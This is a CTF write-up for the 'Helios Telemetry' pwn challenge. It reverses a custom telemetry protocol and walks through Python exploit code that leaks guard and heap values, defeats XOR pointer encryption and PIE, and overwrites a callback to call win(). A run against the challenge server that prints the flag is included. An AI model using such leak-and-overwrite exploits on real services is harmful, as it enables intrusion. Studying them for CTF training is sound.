Helios Telemetry

Bitskrieg CTFby smothy

Helios Telemetry - PWN

Points: 500 | Flag: BITSCTF{060a23bce19d04ddb29815e21ee542bb} | Solved by: Smothy @ 0xN1umb

hacking vibes

what we got

Binary called helios_telemetry - a custom binary telemetry protocol daemon served via socat on port 1337. Also got a solve.py in the tar which lowkey saved a ton of time lol.

Protections are full send:

Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled

fr everything enabled. so we need leaks for everything.

the solve

understanding the protocol

ngl this is a custom binary protocol with epoch-based authentication. every packet looks like:

[ opcode(1) | key(1) | length(2) | payload(length) ]

the key byte is a checksum computed from the current epoch and payload bytes using this mixing function:

python
def ksum(epoch, payload):
    s = epoch
    for b in payload:
        s = ((s << 3) & 0xffffffff) ^ (s >> 2) ^ b ^ 0x6d
    return s & 0xff

after each packet the epoch updates: epoch ^= ((op << 11) | 0xa5) — so both sides stay in sync. initial epoch is 0x5A17C0DE. kinda cute ngl

the opcodes

reversing main gave us these handlers:

OpcodeNameWhat it does
0x11SPAWNallocates a 0xb0 byte slot, copies memo data, sets up encrypted function pointer to noop
0x22WRITEwrites data into a slot at arbitrary offset (the bug!)
0x33READreads data from a slot at arbitrary offset (the leak!)
0x44FREEfrees a slot
0x55GATEpasses a state gate with token verification, arms the trigger
0x66EXECcalls the encrypted function pointer if gate checks pass

the slot structure

when you spawn a slot with opcode 0x11, it callocs 0xb0 bytes and sets up this structure:

+0x00: memo data (user controlled, up to 0x20 bytes) +0x60: guard = (self >> 12) ^ cookie ^ 0xfbad1807 +0x68: wide = pointer to slot+0x70 +0x70: enc_cb = noop ^ guard ^ (wide >> 17) ^ (self >> 11) // encrypted fn ptr +0x78: self = pointer to self +0x80: memo_len +0x84: auth token (set by GATE) +0x88: armed flag (set by GATE) +0x8c: stored epoch (set by GATE) +0x90: memo copy for auth

so the function pointer at +0x70 is XOR-encrypted with guard, wide>>17, and self>>11. anti-tamper vibes. but if we can leak all those values...

the bugs

READ (0x33) takes slot_id, offset, length — it checks offset + length <= 0xb0 but the offset starts from the slot base, meaning we can read the metadata at +0x60 through +0x7f which contains guard, wide, enc_cb, and self. that's everything we need.

WRITE (0x22) same deal — takes slot_id, offset, length, data with offset + length <= 0xb0. we can write directly to the enc_cb at +0x70.

exploit chain

1. spawn a slot

python
memo = b'field-node'
epoch = send_pkt(io, epoch, 0x11, p8u(0) + p8u(len(memo)) + memo)

2. leak metadata read 0x20 bytes starting at offset 0x60 to grab guard, wide, enc_cb, and self:

python
epoch = send_pkt(io, epoch, 0x33, p8u(0) + p8u(0x60) + p8u(0x20))
leak = io.recvn(0x20)

guard = u64(leak[0:8])    # XOR obfuscation key
wide  = u64(leak[8:16])   # pointer to slot+0x70
enc   = u64(leak[16:24])  # encrypted noop pointer
self  = u64(leak[24:32])  # self pointer (heap addr)

3. recover PIE base since enc_cb = noop ^ guard ^ (wide >> 17) ^ (self >> 11), we can reverse it:

python
noop = enc ^ guard ^ (wide >> 17) ^ ((obj >> 11) & 0xffffffffffffffff)
base_addr = noop - elf.sym['noop']
win = base_addr + elf.sym['win']

4. forge encrypted win pointer encrypt win the same way the binary encrypts noop:

python
enc_win = win ^ guard ^ (wide >> 17) ^ ((obj >> 11) & 0xffffffffffffffff)

5. overwrite enc_cb write our forged pointer at offset 0x70:

python
epoch = send_pkt(io, epoch, 0x22, p8u(0) + p8u(0x70) + p8u(8) + p64(enc_win))

6. pass the gate opcode 0x55 requires a token: guard_low32 ^ epoch. this arms the slot for execution:

python
token = (guard ^ epoch) & 0xffffffff
epoch = send_pkt(io, epoch, 0x55, p8u(0) + p32(token))

7. trigger opcode 0x66 decrypts the function pointer and calls it. since we replaced it with encrypted win, it decrypts to win() which opens flag.txt and writes it to stdout:

python
epoch = send_pkt(io, epoch, 0x66, p8u(0))

running it

$ python3 solve.py REMOTE HOST=chals.bitskrieg.in PORT=34925 [+] Opening connection to chals.bitskrieg.in on port 34925: Done [*] obj = 0x55e6e9d5e2c0 [*] guard = 0x18a6afd31c72ea48 [*] wide = 0x55e6e9d5e330 [*] base = 0x55e6b6704000 [*] win = 0x55e6b6705820 [+] BITSCTF{060a23bce19d04ddb29815e21ee542bb}

first try lmao

flag

BITSCTF{060a23bce19d04ddb29815e21ee542bb}


ngl this challenge was pretty clean — custom protocol with XOR-encrypted function pointers but the read/write bounds check was the weak link. being able to read past the memo data into the crypto metadata lets you recover everything needed to forge a new pointer. the "self-healing" auth was just vibes, not actual security lol

smothy out ✌️